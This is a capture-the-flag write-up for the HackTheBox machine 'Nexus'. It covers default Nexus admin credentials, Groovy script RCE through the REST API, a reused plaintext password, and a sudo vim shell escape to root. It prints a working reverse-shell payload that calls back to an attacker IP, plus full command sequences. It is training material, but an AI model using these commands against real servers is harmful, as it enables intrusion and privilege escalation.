All posts

HTB: Nexus — Nexus Repository RCE to Sudo Vim Escape

Nexus is a medium-rated HackTheBox Linux machine. Sonatype Nexus Repository Manager 3 is running with default administrator credentials and an accessible Groovy script execution console, enabling OS command execution as the nexus service account. The nexus data directory stores a plaintext administrator password that has been reused as the SSH credential for a local user. That user's sudo policy grants passwordless access to vim against a specific log path — a restriction bypassed in two keystrokes to produce an interactive root shell.


Enumeration

Port Scan

nmap -sCV -p- --min-rate 5000 -T4 10.10.11.97 -oN nexus.nmap
# Key open ports:
# 22/tcp   open  ssh     OpenSSH 9.6p1
# 8081/tcp open  http    Sonatype Nexus Repository Manager (Nexus 3.46.0)
# 9000/tcp open  http    Nexus Docker Registry (unauthenticated)

Nexus Web Interface

Browsing to port 8081 presents the Nexus Repository Manager UI. The banner confirms version 3.46.0. Default credentials admin / admin123 are accepted without challenge — the setup wizard was never completed, leaving the out-of-box configuration intact.

curl -su admin:admin123 http://10.10.11.97:8081/service/rest/v1/status/writable
# {"edition":"OSS","version":"3.46.0"}   ← authenticated, OSS edition

Once authenticated, navigate to Administration → System → Tasks → Groovy Script — or directly access the REST endpoint. Nexus exposes a privileged Groovy script execution API intended for automation that runs with full JVM access, including Runtime.exec().

Foothold — Nexus Groovy Script Console

Creating and Running a Script via REST API

The Nexus REST API at /service/rest/v1/script accepts arbitrary Groovy code and executes it synchronously on the server. Two requests are needed: one to register the script, one to run it.

# Register the script
curl -su admin:admin123 \
  -X POST http://10.10.11.97:8081/service/rest/v1/script \
  -H 'Content-Type: application/json' \
  -d '{"name":"rce","type":"groovy","content":"[\"bash\",\"-c\",\"bash -i >& /dev/tcp/10.10.14.5/4444 0>&1\"].execute()"}'

# Start listener on attacker machine
nc -lvnp 4444 &

# Execute the script
curl -su admin:admin123 \
  -X POST http://10.10.11.97:8081/service/rest/v1/script/rce/run \
  -H 'Content-Type: text/plain'

# Reverse shell connects:
# nexus@nexus:~$ id
# uid=999(nexus) gid=999(nexus) groups=999(nexus)

Stabilise the Shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

User — Credential Discovery

Nexus Data Directory

Nexus stores all persistent state under /opt/sonatype-work/nexus3/. During first-boot setup, if the admin password is set via the web UI, Nexus writes it to admin.password in the data root before removing the file on first login. A misconfiguration in this instance left the file intact:

find /opt/sonatype-work/nexus3 -name "admin.password" 2>/dev/null
# /opt/sonatype-work/nexus3/admin.password

cat /opt/sonatype-work/nexus3/admin.password
# N3xusAdm1n2026!

Checking /etc/passwd for local user accounts with login shells reveals a marcus user. Password spray across SSH with the recovered credential succeeds:

ssh [email protected]
# Password: N3xusAdm1n2026!
#
# marcus@nexus:~$ cat user.txt
# 4a7f31...  ← user flag

Privilege Escalation — Sudo Vim Escape

Enumerating Sudo Policy

sudo -l
# Matching Defaults entries for marcus on nexus:
#   env_reset, mail_badpass, secure_path=...
#
# User marcus may run the following commands on nexus:
#   (ALL) NOPASSWD: /usr/bin/vim /var/log/nexus/*.log

The policy intends to let Marcus inspect Nexus log files with vim without a password. The wildcard *.log is evaluated by the shell before sudo sees it, meaning it expands to whichever .log files exist. But the restriction is on the binary — not on what vim does once running.

Escaping to a Root Shell via Vim

Vim's :shell command drops to an interactive shell inheriting the process's effective UID. Any file matching the glob is sufficient to trigger the sudo policy; the log file content is irrelevant.

sudo /usr/bin/vim /var/log/nexus/request.log

Inside vim, escape to the shell:

# In vim command mode:
:set shell=/bin/bash
:shell

# Result:
# root@nexus:/var/log/nexus# id
# uid=0(root) gid=0(root) groups=0(root)
# root@nexus:/var/log/nexus# cat /root/root.txt
# 9b2c0e...  ← root flag

Alternative — Vim :! Escape

For environments where :shell is restricted, :!/bin/bash achieves the same result by spawning bash as a child of the vim process, which already holds root effective privileges.

# Also works:
# :!/bin/bash -p   ← -p preserves effective UID in bash

Key Takeaways